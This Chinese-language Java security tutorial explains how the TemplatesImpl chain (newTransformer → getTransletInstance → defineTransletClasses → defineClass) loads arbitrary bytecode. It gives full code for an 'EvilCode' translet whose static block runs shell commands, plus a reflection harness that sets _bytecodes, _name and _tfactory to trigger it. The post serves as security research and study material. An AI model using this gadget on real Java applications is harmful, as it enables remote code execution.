1.什么是defineClass

defineClass 是 java.lang.ClassLoader 中的核心方法,作用是把一段字节数组(.class 字节码)转化为 JVM 中的 Class对象。它是类加载流程中"定义"阶段的真正执行者。 defineClass会直接把字节码灌进classLoader里,绕过了双亲委派,这是危险的根源。但是defineClass是一个protected final方法,只能被同一个包下的类或其子类直接调用,所以通常只能通过反射并调用setAccessible(true)来实现 image.png

2.TemplatesImpl defineClass字节码加载原理

如1中所说,defineClass虽然可以绕过双亲委派直接加载字节码,但是protected的作用域使其存在极大的局限性。所以研究人员发现了TemplatesImpl链,可以通过一个public的方法入口逐步调用defineClass实现字节码加载。 通过逆向分析的思路来还原一下这条链被发现的过程: 首先发现,在TemplatesImpl的一个内部静态类TransletClassLoader中重载了defineClass image.png

该defineClass方法在一个私有方法defineTransletClasses中被调用 image.png defineTransletClasses又在一个私有方法getTransletInstance中被调用 image.png getTransletInstance又在一个public方法newTransformer中被调用 image.png 通过这样的分析方法,就已经找到了一个作用域是public的入口类,一层一层的调用到protected的defineClass中实现字节码的加载,调用链如下:

TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()

3.源码分析

既然已经找到了整条利用链,那就要想方设法让代码按照利用链的路径进行。代码中会存在很多if else之类的分支,怎么让代码按照我们的想法走才是可以成功利用的重点

3.1 测试代码

EvilCode

package org.atoposx.TemplatesImpl_Byte;  
  
import com.sun.org.apache.xalan.internal.xsltc.DOM;  
import com.sun.org.apache.xalan.internal.xsltc.TransletException;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;  
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  
  
public class EvilCode extends AbstractTranslet {  
  
    static {    
        try {  
            // 根据操作系统执行不同的命令  
            String os = System.getProperty("os.name").toLowerCase();  
            String[] cmd;  
            if (os.contains("mac")) {  
                cmd = new String[]{"open", "-a", "Calculator"};  
                System.out.println("[执行] 在 macOS 上打开计算器");  
            } else if (os.contains("win")) {  
                cmd = new String[]{"cmd", "/c", "calc"};  
                System.out.println("[执行] 在 Windows 上打开计算器");  
            } else {  
                cmd = new String[]{"/bin/sh", "-c", "echo 'EvilCode executed on Linux' && id"};  
                System.out.println("[执行] 在 Linux 上执行 id 命令");  
            }  
            Runtime.getRuntime().exec(cmd);  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
    }  
  
    @Override  
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {  
        // 必须实现的抽象方法,留空即可  
    }  
  
    @Override  
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {  
        // 必须实现的抽象方法,留空即可  
    }  
}

TemplatesImplByteTest

package org.atoposx.TemplatesImpl_Byte;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
  
import java.io.ByteArrayOutputStream;  
import java.io.InputStream;  
import java.lang.reflect.Field;  
import java.util.Base64;  
   
public class TemplatesImplByteTest {  
  
    public static void main(String[] args) throws Exception {  
        System.out.println("========================================");  
        System.out.println("TemplatesImpl 字节码加载测试");  
        System.out.println("========================================\n");  
  
        // 步骤1:读取恶意字节码  
        System.out.println("[步骤1] 读取 EvilCode.class 字节码");  
        byte[] bytecode = loadClassBytes(EvilCode.class);  
        System.out.println("字节码长度: " + bytecode.length + " 字节");  
        System.out.println("Base64 编码: " + Base64.getEncoder().encodeToString(bytecode).substring(0, 50) + "...\n");  
  
        // 步骤2:创建 TemplatesImpl 实例并设置字段  
        System.out.println("[步骤2] 创建 TemplatesImpl 实例");  
        TemplatesImpl templates = new TemplatesImpl();  
        System.out.println("TemplatesImpl 实例已创建: " + templates + "\n");  
  
        // 步骤3:通过反射设置私有字段  
        System.out.println("[步骤3] 通过反射设置私有字段");  
  
        // 设置 _bytecodes(字节码数组)  
        Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");  
        bytecodesField.setAccessible(true);  
        bytecodesField.set(templates, new byte[][]{bytecode});  
        System.out.println("已设置 _bytecodes 字段");  
  
        // 设置 _name(必须非空)  
        Field nameField = TemplatesImpl.class.getDeclaredField("_name");  
        nameField.setAccessible(true);  
        nameField.set(templates, "EvilTemplates");  
        System.out.println("已设置 _name 字段: EvilTemplates");  
  
        // 设置 _tfactory(TransformerFactory)  
        Field tfactoryField = TemplatesImpl.class.getDeclaredField("_tfactory");  
        tfactoryField.setAccessible(true);  
        tfactoryField.set(templates, new TransformerFactoryImpl());  
        System.out.println("已设置 _tfactory 字段\n");  
  
        try {   
            templates.getOutputProperties();  
  
            System.out.println("\n[完成] getOutputProperties() 调用完成");  
        } catch (Exception e) {  
            System.out.println("\n[异常] 调用过程中抛出异常:");  
            e.printStackTrace();  
        }  
    }  
  
    /**  
     * 读取指定类的字节码  
     */  
    private static byte[] loadClassBytes(Class<?> clazz) throws Exception {  
        String resource = clazz.getName().replace('.', '/') + ".class";  
        try (InputStream in = clazz.getClassLoader().getResourceAsStream(resource)) {  
            if (in == null) {  
                throw new IllegalStateException("找不到字节码资源: " + resource +  
                        "\n请先编译项目: mvn compile");  
            }  
            ByteArrayOutputStream bos = new ByteArrayOutputStream();  
            byte[] buf = new byte[4096];  
            int n;  
            while ((n = in.read(buf)) != -1) {  
                bos.write(buf, 0, n);  
            }  
            return bos.toByteArray();  
        }  
    }  
}

看代码不难发现,其中有几个关键的设计:

  1. 恶意类需要继承AbstractTranslet
  2. _name不为空
  3. 设置_tfactory

3.2 分析

步入入口点templates.getOutputProperties() image.png 进入newTransformer() image.png 进入getTransletInstance() image.png 在这里可以发现,getTransletInstance方法判断了_name是否为空,所以payload中必须要传入_name的值 步入defineTransletClasses image.png 该方法的本意是如果还没有加载类则先加载类,由于传入的是字节码并没有对类进行加载,所以进入了这个方法中读取字节码去加载类。 同时可以在这个方法中发现一个对_tfactory的校验_tfactory.getExternalExtensionsMap(),如果_tfactory为null(默认为null)的话会抛出空指针NPE异常,所以在构造的时候需要将_tfactory构造成一个空的TransformerFactoryImpl对象 注释_tfactory构造NPE | 测试

继续往后看循环中的代码 image.png 在将字节码转换成类的过程中,会判断是否存在一个类继承了AbstractTranslet,并记录其索引。如果这个类没有继承AbstractTranslet,_transletIndex的值就是默认的-1,会抛出异常。 image.png 在获取类之后,就要对类进行实例化 image.png 这里也可以发现会将class强转成AbstractTranslet类型,再次说明了恶意类需要继承AbstractTranslet的要求。 最后进行newInstance实例化触发恶意类的static静态代码块触发恶意代码

4.问题补充

4.1为什么_tfactory等字段需要反射填充

image.png private作用域

5.参考文章

  1. https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/%E5%88%A9%E7%94%A8TemplatesImpl%E6%89%A7%E8%A1%8C%E5%AD%97%E8%8A%82%E7%A0%81/%E5%88%A9%E7%94%A8TemplatesImpl%E6%89%A7%E8%A1%8C%E5%AD%97%E8%8A%82%E7%A0%81.md
  2. https://cloud.tencent.com/developer/article/2647078